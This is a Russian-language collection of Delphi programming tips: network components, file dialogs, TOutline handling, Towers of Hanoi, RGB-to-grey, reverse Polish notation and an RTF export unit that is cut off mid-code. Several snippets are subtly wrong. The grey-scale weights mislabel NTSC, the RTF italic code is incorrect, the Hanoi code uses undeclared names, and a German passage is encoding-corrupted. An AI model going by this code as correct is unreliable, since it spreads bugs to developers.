Компоненты TNMStrm И TNMStrmServ.
Компоненты TNMSTRM И TNMSTRMSERV применяются для обмена так называемыми потоками. Первый компонент применяется для клиентской программы, а второй - для сервера потоков. Если клиентская программа должна поддерживать и приём потоков, то в неё нужно добавить второй серверный компонент.
Ранее мы рассматривали пару компонентов TNMMsg и TNMMsgServ, которые используются для обмена текстовыми сообщениями. Компоненты , которые мы рассматриваем сейчас, так же используются для обмена информацией, только область их применения несколько шире: данные могут не только текстового вида, но и двоичного. Эти компоненты могут использоваться для обмена любыми файлами . Как уже было сказано эти компоненты обмениваются не самими файлами, а потоками[streams].
Механизм потоков используется для работы с массивами данных, необязательно организованными в файлы. В том числе это может быть буфер в памяти, длинная строка символов и т.д. Во всех этих случаях доступ к данным напоминае6т работу с файлом. Есть соответствующие методы для записи и чтения данных. В Delphi имеются следующие классы потоков:
TFileStream TStringStream TMemoryStream TBlobStream TWinSocketStreamДля работы с файловыми и строковыми потоками, потоками в динамической памяти, BLOB-потоками и сокетными соединениями соответственно. Все эти классы являются потомками класса TStream.
Перед тем как посылать поток, вы должны указать имя удалённого компьютера, на который вы собираетесь отправлять потоки. Кроме того, нужно в свойстве Port указать порт, соответствующий порту сервера потоков. В свойстве FromName нужно указать своё имя, чтобы получатель знал, от кого пришли данные. Только после того как будут заданы значения этим свойствам, вы сможете послать поток данных методом PostIt, указав его в параметре sStrm. Если сервер получил поток без ошибок, то метод возвращает OK в качестве ответа сервера. После отправки сообщения генерируется событие OnMessageSent.
Если вы хотите изменить значение порта по умолчанию, который слушает ваш сервер потоков, то во время разработки приложения вы это можете сделать в Инспекторе Объектов, изменив значение свойства Port.
Для обработки получаемых сервером потоков вам нужно написать обработчик события OnMSG, который вызывается, когда сервер получает очередной поток. Обработчик события имеет два параметра: параметр sFrom содержит имя отправителя сообщения, в параметре strm находится полученный поток. Помните, что когда вы выйдете из обработчика этого события, полученный поток будет потерян, поэтому вы обязательно должны взять данные из параметра strm и обработать их.
Компонент TNMTime.
| Однажды молодой сисадмин, открыв свой почтовый ящик, нашел там повестку в райвоенкомат. - Опять этот чертов спам, - прорычал он, нервно разрывая повестку в клочья. . |
Этот компонент предназначен для получения времени от серверов времени в соответствии с протоколом RFC 868. Он аналогичен компоненту TNMDayTime.
Перед тем как использовать этот компонент, вы должны знать имя или IP-адрес соответствующего сервера Интернет и присвоить это значение свойству Host, в которое помещается имя сервера или разделённый точками IP-адрес. Свойство Port изменяется только в том случае, если сервер, к которому вы обращаетесь "слушает" не стандартный порт. А стандартный порт - 37.
После задания имени серверу читайте значение свойства TimeStr, в которое записывается полученное от сервера времени значение.
Пример:
procedure TForm1.Button1Click(Sender: TObject); begin NMTime1.Host:=Edit1.Text; NMTime1.Port:=StrToInt(Edit2.Text); Label3.Caption:=NMTime1.TimeStr; end; |
Компонент TNMUDP.
| - Паша, а что это твоя АСЬка каждую мессагу по два раза шлет? - Не знаю точно, но у меня она пополамная... |
Компонент TNMUDP используется для отправки пакетов по Интернет или Интранет с использованием протокола UDP [User Datagram Protocol], протокола пользовательских датаграм. Стандарт протокола описан в RFC 768.
Перед тем как отправлять пакеты датаграм, вам нужно задать имя удалённого компьютера и порт, на который вы будете посылать данные. Эти значения нужно присвоить свойствам RemoteHost и RemotePort соответственно. Далее можно отправлять данные одним из двух методов: метод SendBuffer отправляет на удалённый компьютер массив символов [или буфер данных], а метод SendStream занимается отправкой потоков данных. Для получения данных нужно указать значение для свойства LocalPort. Это свойство задаётся во время разработки и не может быть изменено во время выполнения, кроме случая, когда компонент создаётся динамически, с помощью метода Create. В последнем случае свойству LocalPort присвоить значение можно только один раз. Когда данные поступили их можно использовать, происходит событие OnDataAvailable. В обработчике этого события вы можете вызвать метод ReadBuffer и считать данные в буфер или метод ReadStream, чтобы поместить данные в поток. Упомянем, что свойство ReportLevel, которое определяет степень детализации, с которой событие OnStatus выдаёт свой отчёт. Значение по умолчанию Status_Informational. В качестве значений свойства могут выступать только следующие константы:
Status_None Status_Informational Status_Basic Status_Routines Status_Debug Status_TraceТеперь о методах этого компонента. Метод ReadBuffer считывает приходящие датаграммы и помещает их буфер. У метода есть два параметра: параметр Buff задаёт буфер, в который помешаются данные, второй параметр Length - размер данных. Нужно следить за тем, чтобы размер буфера был достаточным для размещения поступающих данных. Если вы пытаетесь записать в буфер данных больше, чем он может вместить, то произойдёт ошибка доступа к памяти.
Отправляют данные методы SendBuffer и SendStream. Первый применяется для отправки на сервер порции данных, записанных в буфер. У этого метода та же пара параметров, что у метода ReadBuffer. Если в массиве Buff нет данных, будет сгенерировано событие OnBufferInvalid. Метод SendStream отсылает поток на удалённый компьютер. Если поток DataStream не содержит данных, произойдёт событие OnStreamInvalid.
Событие OnDataReceived генерируется, когда получены данные от удалённого компьютера. Обработчик события имеет три параметра: в параметре NumberBytes находится количество пришедших байт данных, в параметре FromIP указывается IP-адрес компьютера, который прислал эти данные, и в параметре Port - порт, по которому отправляет свои датаграммы этот удалённый компьютер.
Событие OnDataSend наступает, когда данные успешно отправляются методом SendStream или методом SendBuffer. Нужно заметить, что если произошло событие OnDataSend, означающее успешную отправку данных, это не гарантирует, что данные действительно будут получены удалённым компьютером. Вызвано это тем, что сам протокол UDP не поддерживает контроль доставки данных.
Событие OnInvalidHost генерируется, если в свойстве RemoteHost сервер указан неправильно.
Компонент TNMURL.
| Транскрипция MS Internet Explorer: [Майкрософт Интернет Испортил] |
Компонент TNMURL применяется для декодирования строк в формате URL в "стандартные" строки и кодирования символьных строк в строки формата URL, которые можно использовать в HTTP-запросах.
Кодирование выполняется по следующим правилам:
Все поля [переменные] отделяются знаком амперсанта "&" Имена полей и данных разделяются знаком равенства "=" Пробелы заменяются на знак плюс "+" Любой не алфавитно-цифровой символ преобразовывается в знак процента, за которым следует шестнадцатеричный код этого символа из таблицы ASCII. Например, знак минус будет выглядеть как "%2D"Работать с этим компонентом очень просто. Нужно задать обрабатываемую строку в свойстве InputString, после чего выбрать нужное вам значение из свойства Encode, либо декодированное значение из свойства Decode. В случае возникновения исключительной ситуации произойдёт событие OnError. В свойство Decode записывается результата декодирования строки из свойства InputString. Если в InputString задана строка не формате URL, а обычная строка, то в свойство Decode она попадает в неизменном виде. В свойство Encode помещается преобразованная в формат URL строка из свойства InputString.
Компонент TNMUUProcessor.
Компонент выполняет чисто техническую задачу кодирования и декодирования файлов по алгоритму MIME или UUEncodes. Файлы в закодированном виде создаются для передачи по сети. После их получения выполняется обратная задача - декодирование.
Чтобы компонент мог выполнить свою задачу, нужно в свойстве InputStream указать имя обрабатываемого потока, в свойстве Method выбрать метод кодирования/декодирования, в свойстве OutputStream указать выходной поток, а затем вызвать метод Encode или Decode для выполнения кодирования или декодирования соответственно. Свойство Method может принимать только два значения:
uuMime uuCodeПотоки могут представлять файлы или области в динамической памяти.
Событие OnBeginEncode происходит перед началом кодирования потока. Событие OnEndEncode происходит перед завершением метода Encode. Событие OnBeginDecode и OnEndDecode генерируются аналогичным образом при выполнении оператора декодирования.
Как определить, является ли метод потомком TNotifyEvent.
Автор: Jack Sudarev WEB-сайт: http://www.lmc-mediaagentur.deIf I am given a TPersistent object, and a method name, is there a way to determine if the name is an event of TNotifyEvent type? For example, given a TPersistent lMyObj and an event name, "OnDataChanged", how can I determine if OnDataChanged is a TNotifyEvent?
function IsNotifyEvent(Sender: TObject; const Event: string): Boolean;
var
PropInfo: PPropInfo;
Method: TNotifyEvent;
begin
Result := False;
PropInfo := GetPropInfo(Sender.ClassInfo, Event);
if not Assigned(PropInfo) then
Exit;
if PropInfo.PropType^.Kind <> tkMethod then
Exit;
Method := TNotifyEvent(GetMethodProp(Sender, PropInfo));
Result := Assigned(Method);
end;
Добавление изображений на кнопки панели инструментов во время работы приложения.
Оформил: DeeCo
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
Image1.Picture.Icon.LoadFromFile(OpenDialog1.FileName);
Edit1.Text := OpenDialog1.FileName;
ImageList1.AddIcon(Image1.Picture.Icon);
Edit2.Text := IntToStr(ImageList1.Count);
end;
end;
Использование меню Инструменты в IDE.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
The menu "Tools" is a free configurable part of the Delphi-IDE. You can there insert tools, you often use while coding. I (for example) have the MSDN and another Editor in there. First choose Tools / Configure Tools. Then click Add, to add another item. Title is the caption beeing showed, when you open the tools menu. A & makes the next letter to the QuickSelect letter. Program is the program, you want to launch. Use here (for example) "C:\Program Files\TextPad\TextPad.exe". If you have spaces in you path or filename, quote the hole string. Working dir is the directory, the program will be launched. It''s normally the same as the program directory. Parameters are beeing given to the program, you run, or (in case of macros) are beeing run, when you select the item. Click on parameters, to show a list of macros for use with it. With a second editor, the macros $SAVEALL and $NAME will be usefull. To make the menu more structured, you can use a horizontal rule. You create one, by entering - in the Title field. Cause of a bug in the Delphi IDE, you cannot create a second rule as easy. You''ll have to enter another caption first and then rename it. {***************************************************************************} Das Tools Menu ist ein frei konfigurierbarer Teil der Delphi-IDE. Man kann darin Programme, die man oft zur Entwicklung von Delphi-Programmen braucht konfigurieren, um sie bei Bedarf schneller zu цffnеn. Ich habe dort drin z.B. die MSDN und ein alternativer Editor fьг Delphi-Sources, sowie einige andere Tools. Zuerst wдh1t man Tools / Configure Tools. In dem dann erscheinenden Menu kann man per Add neue Еintгдgе hinzиfьgеn. Unter Title gibt man den Namen an, der erscheinen soll. '&' unterstreicht den nдсhstеn Buchstaben (QuickSelect). Unter Programm gibt man das Programm an, welches man starten mцсhtе. Z.B. C:\Programme\TextPad\TextPad.exe. Wenn der Pfad Leerzeichen еnthд1t, muss man entweder alles ins 8.3-Format konvertieren, oder den Pfad mit "" schreiben. Unter Working Dir sollte man den Pfad angeben, in dem auch das Programm ist. Unter Parameters kann man Makros sowie auch Parameter fьг das Programm hinzиfьgеn. Mit einem Klick auf Macros цffnеt sich eine Liste mit den vorhandenen Makros mit kurzer Beschreibung. Fьг einen zweiten Editor wдhге z.B. $SAVEALL, sowie $NAME sehr nьtz1iсh. Um das ganze Menu besser Strukturieren zu кцnnеn, кцnnеn Horizontale Linien angelegt werden. Dies macht man mit einem neuen Item, dass unter Title einen - (Bindestrich) drin hat. Leider hat es in Delphi einen Bug, der verhindert, dass man zwei mal das "selbe" Item anlegt. Um noch eine zweite Linie zu erstellen, muss man zuerst einen anderen Namen nehmen (z.B. Temp) und dann unter Edit das auf - дndегn.TOpenDialog, TSaveDialog, TOpenPictureDialog и TSavePictureDialog.
Перевод одноимённой статьи с сайта delphi.about.com Стандарные диалоговые окошки Практически любое приложение Windows использует стандартные диалоги, встроенные в операционную систему, для открытия и сохранения файлов, поиска текста, печати, выбора шрифта или установки цвета. В этой статье мы рассмотрим основные свойства и методы этих диалогов и, особенно, сфокусируем внимание на диалогах Open и Save.
Стандартные диалоговые окошки можно найти на панели компонентов в закладке Dialogs. Для того, чтобы начать использовать определённое диалоговое окошко, его достаточно поместить на форму. Компоненты стандартных диалогов являются невидимыми, поэтому Вы не сможете изменить дизайн такого диалога во время разработки приложения.
TOpenDialog и TSaveDialog
Диалоговые окошки File Open и File Save имеют несколько общих свойств. File Open в основном используется для выбора и открытия файлов, в то время как диалог File Save (так же используется как диалоговое окошко Save As) используется для получения от пользователя имени файла, чтобы сохранить файл. Далее мы рассмотрим некоторые важные свойства TOpenDialog и TSaveDialog:
Свойство Options предназначено для задания конечного вида окна. Например, при помощи следующего кода:
with OpenDialog1 do Options := Options + [ofAllowMultiSelect, ofFileMustExist]; |
Свойство InitialDir используется для указания директории, которая будет показана при создании диалога. Следующий код установит начальную директорию, из которой было запущено приложение:
SaveDialog1.InitialDir := ExtractFilePath(Application.ExeName); |
Так же фильтр можно задать программно. Строка фильтра должна содержать описание и расширение для данного типа файлов, разделённые вертикальной чертой:
OpenDialog1.Filter := 'Text files (*.txt)|*.txt|All files (*.*)|*.*'; |
Все стандартные диалоговые окошки позволяют определить нажал ли пользователь кнопку "Отмена" (Cancel) (или нажал ESC). Если метод Execute вернул True значит пользователь нажал OK или сделал двойной щелчёк по файлу либо нажал Enter на клавиатуре, иначе, если была нажата кнопка Cancel, клавиша Esc или Alt-F4, будет возвращено значение False.
if OpenDialog1.Execute then ShowMessage(OpenDialog1.FileName); |
Чтобы работать диалогом Open (или любым другим) не помещая при этом на форму компонент OpenDialog, можно воспользоваться следующим кодом:
procedure TForm1.btnFromCodeClick(Sender: TObject);
var
OpenDlg: TOpenDialog;
begin
OpenDlg := TOpenDialog.Create(Self);
{здесь устанавливаем опции...}
if OpenDlg.Execute then
begin
{здесь что-нибудь делаем}
end;
OpenDlg.Free;
end;
|
Эти два диалога есть ничто иное как обычные File Open и File Save с дополнительной возможностью предварительного просмотра выбранной картинки.
Мой Блокнот
А теперь предлагаю применить теорию на практике. Создадим простейший блокнот, и посмотрим как работают диалоговые окошки Open и Save:
Для создания блокнота проделаем следующее:
Запустите Delphi и выберите в меню File-New Application. Поместите на форму Memo, OpenDialog, SaveDialog и две кнопки. Переименуйте Button1 в btnOpen, а Button2 в btnSave. Код1. Поместите в событие формы FormCreate следующий код:
procedure TForm1.FormCreate(Sender: TObject);
begin
with OpenDialog1 do
begin
Options := Options + [ofPathMustExist, ofFileMustExist];
InitialDir := ExtractFilePath(Application.ExeName);
Filter := 'Text files (*.txt)|*.txt';
end;
with SaveDialog1 do
begin
InitialDir := ExtractFilePath(Application.ExeName);
Filter := 'Text files (*.txt)|*.txt';
end;
Memo1.ScrollBars := ssBoth;
end;
|
2. Добавьте следующий код в событие Onclick для кнопок btnOpen и btnSave:
procedure TForm1.btnOpenClick(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
Form1.Caption := OpenDialog1.FileName;
Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
Memo1.SelStart := 0;
end;
end;
|
procedure TForm1.btnSaveClick(Sender: TObject);
begin
SaveDialog1.FileName := Form1.Caption;
if SaveDialog1.Execute then
begin
Memo1.Lines.SaveToFile(SaveDialog1.FileName + '.txt');
Form1.Caption := SaveDialog1.FileName;
end;
end;
|
Компонент TOraCommentsToFL — загрузка русских наименований колонок из ERwin в DisplayLabels.
Оформил: DeeCo
Автор: Сергей СедовХочу поделиться идеей, которая, может и приходила уже кому-нибудь в голову, но я пока не встречал таких решений... Для тех, кто проектирует базы данных для Oracle в ERwin. Предлагаю решение для загрузки русских наименований колонок из ERwin в DisplayLabels датасета.
Компонент, конечно, сырой, но я пользуюсь, и очень поиогает. Ненавижу вбивать один текст по 10 раз. Что нужно сделать: 1. Создать в ErWin скрипт на уровне модели следующего содержания:%ForEachTable()
{
%ForEachColumn()
{
COMMENT ON COLUMN %TableName.%ColName IS '%AttName';
}}
2. Сгенерировать базу. 3. В дата-модуле или на форме разместить компонент TOraCommentsToFL. 4.Установить его свойство OraDataSet. 5. Установить свойство LoadFieldLabels в True, после чего названия полей будут загружены из базы Oracle. 6. После этого компонент можно удалить с формы! Примечание:
Требуются установленные компоненты ODAC.
Скачать OraCommentsToFL.zip (3K).
TOutline - Перетащи и брось.
| Приходит один фидошник к другому на День Рождения. Приносит открытку, навороченная такая, обалденно красивая, на ней написанно: "Поздравляю С Днем Рождения" такими красивыми буквами... Именинник открывает открытку, а там большими карявыми буквами написанно: "САБЖ". |
Вам нужно перехватывать в TOutline сообщение wm_DropFiles. Для этого необходимо создать его потомка. Также, вы должны убедиться в том, что дескриптор TOutline Handle хотя бы раз передавался в качестве параметра функции DragAcceptFiles. Для определения положения мыши в момент перетаскивания используется DragQueryPoint. Если вы прочтете разделы в WINAPI.HLP по DragAcceptFiles, wm_DropFiles, DragQueryFile, DragQueryPoint и DragFinish, то вы поймете, как все это работает.
TOutline - Перетащи и брось 2.
Установите DragMode = dmManual, создайте OnMouseDownHandler, внутри обработчика осуществите вызов BeginDrag(False). BeginDrag(False) в действительности не начинает перемещение, пока пользователь не переместит объект больше, чем на 5 пикселей, так что если пользователь просто щелкнет на компоненте, операция перетаскивания даже не начнется.
TOutline - Перетащи и брось 3.
Проблема заключается в том, что прежде, чем windows сможет обработать сообщение WM_MouseUp, курсор мыши передвинется дальше. Вот решение этой головоломки: Разрешите Windows как можно скорее обработатывать события мыши:
OnMouseDown:
BeginDrag(False);
while ... do
begin
Application.ProccessMessages; { это позволяет Windows обработать }
{ все сообщения за один шаг }
end;
|
OnMouseDown:
BeginDrag(False);
Application.ProccessMessages;
while ... do
begin
{ единственный шаг обработки }
end;
|
Пример отрисовки TOutline.
Автор: David E. Scheim Мне необходимо было изменить поведение компонента по части его отрисовки, к примеру, мне нужно было позволить пользователю выделить несколько значений и покрасить их в другой цвет. Я с удивлением обнаружил, что использование функции GetItem для определения отрисовываемой строки на редкость просто и понятно. Прежде же для этой цели я создавал цикл, вылавливал из всех индексов нужный и затем передавал его процедуре. Но в случае с множественным выбором это становилось медленным, неуклюжим и запутанным.Ниже я разместил пример такой программы. Она позволяет рисовать символы плюсы/минусы плюс сам текст. Я также включил в нее код для создания, загрузки и освобождения иконок с символами плюса и минуса.
procedure TForm1.FormCreate(Sender: TObject);
begin
BitmapPlus := TBitmap.Create;
BitmapPlus.LoadFromFile('c:\delphi\images\default\outplus.bmp');
BitmapMinus := TBitmap.Create;
BitmapMinus.LoadFromFile('c:\delphi\images\default\outminus.bmp');
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
BitMapPlus.Destroy;
BitMapMinus.Destroy;
end;
procedure TForm1.Outline1DrawItem(Control: TWinControl;
Index: Integer; Rect: TRect; State: TOwnerDrawState);
var
iLeft, iht: integer;
s: string;
NodeInView: TOutlineNode;
col: TColor;
{Примечание: BitMapvariables BitMapPlus и ..
Минус объявлены глобально и грузятся при создании формы}
begin
with (Control as TOutline).Canvas do
begin
{рисуем на холсте элемента управления, не на форме}
IndexInFull := outline1.getitem(rect.left + 1, rect.top + 1);
NodeInView := Outline1.Items[IndexInFull];
Font := Outline1.Font;
iLeft := Rect.Left;
iht := Outline1.ItemHeight;
inc(iLeft, iht * (NodeInView.level - 1));
s := NodeInView.Text;
Col := clWindow;
Font.Color := clWindowText;
Brush.Color := col;
FillRect(Rect); { очищаем прямоугольник }
if NodeInView.HasItems and not NodeInView.Expanded then
{Draw(iLeft,Rect.Top, BitmapPlus)}
BrushCopy(Bounds(iLeft + 1, Rect.Top + 1, iht - 2, iht - 2), BitMapPlus,
Bounds(0, 0, BitMapPlus.Width, BitMapPlus.Height),
BitMapPlus.TransparentColor);
if NodeInView.Expanded and NodeInView.HasItems then
BrushCopy(Bounds(iLeft + 1, Rect.Top + 1, iht - 2, iht - 2), BitMapMinus,
Bounds(0, 0, BitMapMinus.Width, BitMapMinus.Height),
BitMapMinus.TransparentColor);
if Copy(NodeInView.Text, Length(NodeinView.Text), 1) = 'y' then
Col := clAqua;
if Outline1.SelectedItem = IndexInFull then
begin
Col := clHighlight;
Font.Color := clHighlightText
end;
Brush.Color := col;
inc(ILeft, iht);
TextOut(iLeft, Rect.Top, s);
end;
end;
|
TOutline OwnerDraw - значение индекса.
Автор: Blake VersigaПараметр TheOutline Index в обработчике OwnerDraw всегда равен нулю.
{ получаем значение Index узла, который нужно отрисовать}
ItemIndex := Outline1.GetItem(Rect.Left, Rect.Top);
{Получаем узел Ouline }
Node := Outline1.Items[ItemIndex];
|
Поточность TOutline.
Автор: Nick Hodges ...я уже обратил внимание на то, что TOutline является потомком TPersistence. Поэтому теоретически возможно сохранение в потоке дерева объектов и его последующая загрузка. И все равно я не пойму как в этом случае работать с двоичным файлом...Ниже приведен простейший путь решения вашего вопроса. Имейте в виду, что в коде не предусмотрена проверка на ошибки чтения и гарантии принадлежности компонента типу TOutline.
procedure TForm1.Button2Click(Sender: TObject);
var
S: TFileStream;
begin
S := TFileStream.Create('C:\junk\myoutlin.dat', fmCreate);
try
S.WriteComponent(Outline1);
finally
S.Free;
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
var
S: TFileStream;
begin
S := TFileStream.Create('C:\junk\myoutlin.dat', fmOpenRead);
try
S.ReadComponent(Outline1);
finally
S.Free;
end;
end;
|
Ханойская башня.
| Тяжёлое детство: восьмибитные игрушки. |
"Ханойская башня" построена на очень простом алгоритме. Здесь я привожу этот алгоритм, который Вы сможете без труда воспроизвести.
type THanoiBin = 0..2; THanoiLevel = 0..9; |
procedure MoveDisc(FromPin, ToPin : THanoiPin; Level : THanoiLevel); // Это Вы должны сделать сами. Переместите один диск с одного штырька на другой. // Диск окажется наверху (естественно, выше него дисков не будет) |
Вы можете каким угодно образом перемещать диски 3-х пирамид. 3 пирамиды - наиболее простая разновидность алгоритма. Таким образом процедура переноса диска (MoveDisc) аналогична операции переноса диска на верхний уровень (MoveTopDisc): переместить диск наверх с одного штырька (FromPin) на другой штырек (ToPin) и передать указатель на штырек-приемник (MoveTower) вместе с уровнем расположения перемещенного диска. Другое решение заключается в использовании трех массивов [THanoiLevel] логического типа. В этом случае триггер "Истина (True)" означает наличие на пирамиде диска с размером, соответствующим порядковому номеру элемента массива THanoiLevel.
procedure MoveTower(FromPin, ToPin : THanoiPin; Level : THanoiLevel);
begin
if HanoiLevel <= High(THanoiLevel) then
begin
MoveTower(FromPin, 3 - FromPin - ToPin, Level + 1);
MoveDisc(FromPin, ToPin, Level);
MoveTower(3 - FromPin - ToPin, ToPin, Level + 1);
end;
end;
|
Чтобы переместить пирамиду целиком, вы должны вызвать процедуру MoveTower следующим образом:
MoveTower(0, 1, Low(THanoiLevel)); |
Получить оттенок серого из RGB-цвета.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
The following function helps you to convert a RGB Color to Grayscale.
It works after the american NTSC (National Televisision Standards Committee)
system.
}
{
Mit Hilfe des folgenden Codes lasst sich die Graustufe einer
beliebigen RGB Farbe herausfinden. Das System arbeitet nach dem
vom amerikanischem NTSC (National Televisision Standards Committee)
vorgelschlagenem System.
Es kann unteranderem dazu verwendet werden ein Bild in Graustufen
darzustellen. (siehe dazu Tipp http://www.swissdelphicenter.ch/de/showcode.php?id=437)
}
function GetGreyScale(red, blue, green: TColor): TColor;
var
Color: Integer;
begin
Color := Round(red * 0.56 + green * 0.33 + blue * 0.11);
Result := RGB(Color, Color, Color);
end;
Как узнать значения, которые пользователь вводит в TDBGrid.
| С точки зрения программиста пользователь - это периферийное устройство, вводящее набор символов в ответ на команду READ. |
Вы можете "видеть" что набирается в TDBGrid, "смотря" на контрол сетки TInPlaceEdit. Вы должны убедиться только в том, что к моменту использования TInPlaceEdit, контрол уже создан. Следующая функция покажет данные, редактируемые в колонках сетки:
procedure TForm1.DBGrid1KeyUp(Sender: TObject;
var Key: Word; Shift: TShiftState);
var
B: byte;
begin
for B := 0 to DBGrid1.ControlCount - 1 do
if DBGrid1.Controls[B] is TInPlaceEdit then
with DBGrid1.Controls[B] as TInPlaceEdit do
Label1.Caption := 'Text = ' + Text;
end;
|
Преобразование выражения к Обратной Польской Нотации.
Автор: Avr555 WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование выражения к Обратной Польской Нотации
Для работы функции необходимо определить тип:
type
OperList = array of widestring;
Параметром функции служит массив из переменных и операторов.
Результат - массив из переменных и операторов
Зависимости: SysUtils
Автор: avr555, avr555@mail.ru, ICQ:15782989
Copyright: Переделано с http://algolist.manual.ru/syntax/revpn.php
Дата: 26 мая 2002 г.
***************************************************** }
function ConvertToRPN(AStr: OperList): OperList;
var
i, k: integer;
Stack: OperList; //Stack
AResult: OperList; //Tmp for result
function Prior(AOper: widestring): integer;
begin
{Приоритет операции:
NOT - 8
унарный "-" - 7
"*", "/" - 6
"+", "-" - 5
">", "<", "=",
"<>", ">=",
"<=" - 4
"AND" - 3
"OR" - 2
"(", ")" - 1
}
AOper := trim(AOper);
result := -1;
if AOper = 'NOT' then
Result := 8;
if (AOper = '*') or (AOper = '/') then
Result := 6;
if (AOper = '+') or (AOper = '-') then
Result := 5;
if (AOper = '>') or (AOper = '<') or (AOper = '<>') or (AOper = '>=')
or (AOper = '<=') or (AOper = '=') then
Result := 4;
if AOper = 'AND' then
Result := 3;
if AOper = 'OR' then
Result := 2;
if (AOper = '(') or (AOper = ')') then
Result := 1;
end;
procedure AddToStack(AOper: widestring);
begin
{Добавление элементы в стек}
SetLength(Stack, High(Stack) + 2);
Stack[High(Stack)] := AOper;
end;
procedure AddToResult(AOper: widestring);
begin
SetLength(AResult, High(AResult) + 2);
AResult[High(AResult)] := AOper;
end;
begin
{Конвертирование строку в Обратную Польскую Нотацию
Возвращает - массив
Алгоритм:
а) если стек пуст, то операция из входной строки переписывается в стек;
б) операция выталкивает из стека все операции с большим или равным
приоритетом в выходную строку;
в) если очередной символ из исходной строки есть открывающая скобка,
то он проталкивается в стек;
г) закрывающая круглая скобка выталкивает все операции из стека до
ближайшей открывающей скобки, сами скобки в выходную строку не
переписываются, а уничтожают друг друга.
}
Result := nil;
AResult := nil;
i := 0;
while i <= High(AStr) do
begin
if Prior(AStr[i]) = -1 then //Значит просто переменная
AddToResult(AStr[i])
else //Операции
begin
if High(Stack) = -1 then {a}
AddToStack(AStr[i])
else
begin
if AStr[i] = '(' then {в}
AddToStack(AStr[i])
else
begin
if AStr[i] = ')' then {г}
begin
k := High(Stack);
while (k >= 0) and (Stack[k] <> '(') do
begin
AddToResult(Stack[k]);
SetLength(Stack, High(Stack)); //Удаляем элемент из стека
k := k - 1;
end;
//Удаляем открывающуюся скобку
SetLength(Stack, High(Stack)); //Удаляем элемент из стека
end
else
begin
k := High(Stack);
while (k >= 0) and (Prior(Stack[k]) >= Prior(AStr[i])) do {б}
begin
AddToResult(Stack[k]);
SetLength(Stack, high(Stack)); //Удаляем элемент из стека
k := k - 1;
end;
AddToStack(AStr[i]); //Если не скобка просто добавляем в стек
end;
end;
end;
end;
i := i + 1;
end; //while
//Сбрасываем все оставшееся из стека
for i := high(Stack) downto 0 do
begin
AddToResult(Stack[i]);
end;
result := AResult;
end;
Пример использования:
procedure test;
var
s, s1: widestring;
tmp,
rtmp: OperList;
i: integer;
begin
s := '(A+B)*(C+D)-E';
tmp := nil;
rtmp := nil;
for i := 1 to Length(S) do
begin
SetLength(tmp, high(tmp) + 2);
tmp[high(tmp)] := S[i];
end;
rtmp := ConvertToRPN(tmp);
s1 := '';
for i := 1 to High(rtmp) do
begin
s1 := s1 + rtmp[i];
end;
end;
Преобразование информации из табличных компонент в RTF.
Автор: Delirium WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование информации из табличных компонент в RTF
Модуль содержит ряд функций, ориентированных на работу с VCL-компонентами.
Содержимое списков и таблиц, конвертируется в формат RTF, для дальнейшей
распечатки или копирования в буфер обмена.
Зависимости: SysUtils, Windows, Messages, Classes, Graphics, Controls,
StdCtrls, ExtCtrls, Grids, Forms, DBGrids
Автор: Delirium, Master_BRAIN@beep.ru, ICQ:118395746, Москва
Copyright: Copyright (c) 1999 by K. Nishita / Master BRAIN (Delirium) - 2002 г.
Дата: 9 июля 2002 г.
***************************************************** }
{*************************************************************}
{ }
{ Переработал компонент в unit, добавил фукцию }
{ по работе с TDBGrid. }
{ }
{ Master BRAIN (Delirium) - 2002 г. }
{ }
{*************************************************************}
{ Delphi Control to RTF Conversion VCL }
{ Version: 1.0 }
{ Author: K. Nishita }
{ E-Mail: info@nishita.com }
{ Home Page: http://nishita.com }
{ Created: 3/1/2000 }
{ Type: Freeware }
{ Legal: Copyright (c) 1999 by K. Nishita }
{*************************************************************}
{ This component convert Delphi grid, edit, listbox, memo, }
{ and label to Rich Text Format. }
{*************************************************************}
unit CtrlToRTF;
interface
uses
SysUtils, Windows, Messages, Classes, Graphics, Controls,
StdCtrls, ExtCtrls, Grids, Forms, DBGrids;
function RTFHeader: string;
function RTFFooter: string;
function ImageToRTF(Image: TImage; Alignment: TAlignment): string;
function MemoToRTF(Memo: TMemo): string;
function StringsToRTF(pStringList: TStrings; Font: TFont; Alignment:
TAlignment): string;
function StringToRTF(pString: string; Font: TFont; Alignment: TAlignment):
string;
function GridToRTF(Grid: TStringGrid): string;
function DBGridToRTF(DBGrid: TDBGrid): string;
implementation
var
RTF, FontTable: TStrings;
function GetRTFFontTableName(FontName: string): string;
var
i: Integer;
begin
Result := '\f0';
for i := 0 to FontTable.Count - 1 do
begin
if Pos(FontName, FontTable.Strings[i]) > 0 then
begin
Result := '\f' + IntToStr(i);
Exit;
end;
end;
end;
function GetRTFFontAttrib(Style: TFontStyles): string;
var
retval: string;
begin
retval := '';
if fsBold in Style then
retval := retval + '\b';
if fsItalic in Style then
retval := retval + '\c';
if fsUnderline in Style then
retval := retval + '\ul';
if fsStrikeOut in Style then
retval := retval + '\strike';
Result := retval;
end;
function GetRTFFontSize(Size: Integer): string;
begin
Result := '\fs' + IntToStr(size * 2);
end;
function GetRTFAlignment(Alignment: TAlignment): string;
var
Align: string;
begin
if Alignment = taCenter then
Align := '\qc'
else if Alignment = taRightJustify then
Align := '\qr'
else
Align := '';
Result := Align;
end;
function GetRTFFontColorTableName(Color: TColor): string;
begin
if Color = clBlack then
Result := '\cf0'
else if Color = clMaroon then
Result := '\cf1'
else if Color = clGreen then
Result := '\cf2'
else if Color = clOlive then
Result := '\cf3'
else if Color = clNavy then
Result := '\cf4'
else if Color = clPurple then
Result := '\cf5'
else if Color = clTeal then
Result := '\cf6'
else if Color = clGray then
Result := '\cf7'
else if Color = clSilver then
Result := '\cf8'
else if Color = clRed then
Result := '\cf9'
else if Color = clLime then
Result := '\cf10'
else if Color = clYellow then
Result := '\cf11'
else if Color = clBlue then
Result := '\cf12'
else if Color = clFuchsia then
Result := '\cf13'
else if Color = clAqua then
Result := '\cf14'
else if Color = clWhite then
Result := '\cf15';
end;
procedure Creator;
begin
RTF := TStringList.Create;
